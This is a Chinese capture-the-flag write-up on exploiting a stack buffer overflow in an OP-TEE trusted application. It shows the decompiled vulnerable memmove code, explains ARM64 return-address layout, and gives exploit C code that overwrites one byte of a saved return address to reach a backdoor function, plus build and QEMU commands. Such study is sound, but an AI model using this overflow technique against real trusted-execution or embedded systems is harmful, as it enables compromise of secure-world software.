L3HCTF 信じてください、先輩!!复现
前情提要
OPTEE 是什么
这题与 OPTEE 有关。可以理解成,这个机器上同时运行有两个 OS:一个是正常的 OS 来处理不需要保密的内容,一个是安全的 OS (OPTEE),涉及保密的内容在这个安全 OS 里面操作。通过 trusted firmware 来启动这两个 OS,相当于这两个 OS 的 bootloader。这两个系统之间的交互通过一些可信应用 trusted application 完成。
TA_CreateEntryPoint() 分配资源
TA_DestroyEntryPoint() 释放资源
TA_OpenSessionEntryPoint() 开启链接、验证
TA_CloseSessionEntryPoint() 释放连接
TA_InvokeCommandEntryPoint()执行命令
目录结构和文件
附件的目录结构如下:
λ giacomo attachment 20:13 → tree .
.
├── Image ->普通内核
├── flash.bin ->armv8 atf 的 bl1 和 bl2
├── qemu-system-aarch642 ->普通qemu
├── rootfs.cpio.gz ->普通fs
└── start.sh ->启用/禁用模拟实现 Arm 安全扩展 (TrustZone)
1 directory, 5 files
比较特别的是这个 flash.bin,ATF 以 flash based firmware 的方式启动。
gzip -d -c rootfs.cpio > rootfs
cpio -idmv -D ./fs < rootfs
解压一下在 /lib/optee_armtz/
目录下有一个 8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta
的可信应用。( tee-supplicant
这个守护进程会在 /lib/optee_armtz/
目录下获取 ta 程序并且加载进 TEE,是 REE 和 TEE 的沟通桥梁)。root 下面也有这个 ta ...可能是怕藏得太隐蔽没人会注意到吧...
ta 分析
可以和 optee_example bin diff 来恢复部分符号。恢复之后有个函数看起来像 TA_InvokeCommandEntryPoint
:
__int64 __fastcall sub_1E8(__int64 a1, int cmd_id, int paran_type, TEE_Param *param)
{
unsigned int v4; // w19
TEE_Param *v6; // x23
char buffer1[40]; // [xsp+40h] [xbp+40h] BYREF
char buffer2[56]; // [xsp+68h] [xbp+68h] BYREF
if ( cmd_id )
return 4294901766LL;
if ( paran_type == 101 )
{
v4 = 0;
v6 = param + 1;
memmov(buffer1, param->memref.buffer, param->memref.size); // overflow
trace_printf("move", 0x30u, 3u, 1u, "Recv_buffers1: %s\n", buffer1);
memmov(buffer2, (_BYTE *)param[1].memref.buffer, v6->memref.size);
trace_printf("move", 0x37u, 3u, 1u, "Recv_buffers2: %s\n", buffer2);
}
else
{
return (unsigned int)-65530;
}
return v4;
}
有一个在 OPTEE 中的 buffer overflow
BUFFER OVERFLOW
arm overflow
arm64 函数调用流程大概是,x0-x4 存放前四个参数,x29
是 old frame register, x30
是 return address。一个例子:
triple(int):
stp x29, x30, [sp, -32]!
mov x29, sp
str w0, [sp, 28]
ldr w0, [sp, 28]
bl square(int)
mov w1, w0
ldr w0, [sp, 28]
mul w0, w1, w0
ldp x29, x30, [sp], 32
ret
-
stp x29, x30, [sp, -32]!
store a pair of register,把它两存放到 sp - 32 的地方,并且移动 sp = sp -32。Pre-indexed。 -
mov x29, sp
更新 x29 寄存器 -
str w0, [sp, 28]
第一个参数存在x0
第 32 位是w0
-
bl square(int)
跳转时把下一条指令地址存放进x30
-
ldp x29, x30, [sp], 32
恢复x29
和x30
寄存器。Post-indexed。 -
ret
相当于mov pc, x30
由于 x29 和 x30 存放在低地址,如果溢出的话,需要控制的是上一个函数的 x30
。
debug
参考 Wings 的博客
Normal world 和 Secure World 都有日志, qemu 启动脚本里加上这
-serial tcp:localhost:54320 -serial tcp:localhost:54321
, 然后启动前用build/soc_term.py
监听这两个端口即可. Secure World 有个程序叫ldelf
, 他负责把 TA 装载进内存. 装载的时候有部分地址随机, 在 CA 调用TEEC_OpenSession()
后,TEEC_InvokeCommand()
前用getchar()
停下, 日志里会有输出装载地址, 就知道在哪下断点了.
exp
覆盖上一个返回地址为 sub_2B4
的后门儿,0xd4 -> 0xb4 只用修改一个字节
.text:00000000000002B4 sub_2B4
.text:00000000000002B4 ; __unwind {
.text:00000000000002B4 E8 06 80 D2 MOV X8, #55
.text:00000000000002B8 01 00 00 D4 SVC 0
.text:00000000000002BC 08 00 80 D2 MOV X8, #0
.text:00000000000002C0 01 00 00 D4 SVC 0
.text:00000000000002C4 C0 03 5F D6 RET
.text:00000000000002C4 ; } // starts at 2B4
exp 关键部分是这样:
char *exp = malloc(0x100);
memset(exp, 'c', 64);
*(exp + 64) = 0xB4;
op.params[0].tmpref.buffer = exp;
op.params[0].tmpref.size = 0x10;
op.params[1].tmpref.buffer = exp;
op.params[1].tmpref.size = 64+1;
然后就通过后门拿到 flag
# ./exp
l3hctf{test_flag}
ps 编译不明白
用题目的"usr/lib64"
目录下的 libs,试图动态链接 libteec 和静态链接 libc 。但是 segmentatin fault。
aarch64-linux-gnu-gcc -o exp exp.c -L"../usr/lib64" -Wl,-Bstatic -lc -Wl,-Bdynamic -lteec
# in qemu
# ./exp
Segmentation fault
如果两个全都动态链接,其实连接的是本地的,但是 -L
选项指定的不是优先的路径么...
aarch64-linux-gnu-gcc -o exp exp.c -L"../usr/lib64" -lteec
# in qemu
# ./exp
./exp: /lib64/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
只好把所有依赖都放进目录里了...
echo "cd root"
cd fs/root
aarch64-linux-gnu-gcc -L"../lib" -L"../usr/lib" -o exp exp.c -lteec
patchelf --set-interpreter ./ld-linux-aarch64.so.1 ./exp
patchelf --set-rpath . ./exp
echo "cd fs"
cd ..
find . | cpio -o --format=newc > ../rootfs
echo "cd attachment"
cd ..
gzip rootfs
echo "run qemu"
./qemu-system-aarch642 \
-nographic \
-smp 2 \
-machine virt,secure=on,mte=off,gic-version=3,virtualization=false \
-cpu max,sve=off,pauth-impdef=on \
-d unimp \
-m 1057 \
-monitor /dev/null \
-bios flash.bin \
-initrd rootfs.gz \
-kernel Image -no-acpi \
-append 'console=ttyAMA0,38400 keep_bootcon root=/dev/vda2 ' \
-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 -netdev user,id=vmnic -device virtio-net-device,netdev=vmnic -serial tcp:localhost:54320 -serial tcp:localhost:54321 -S -s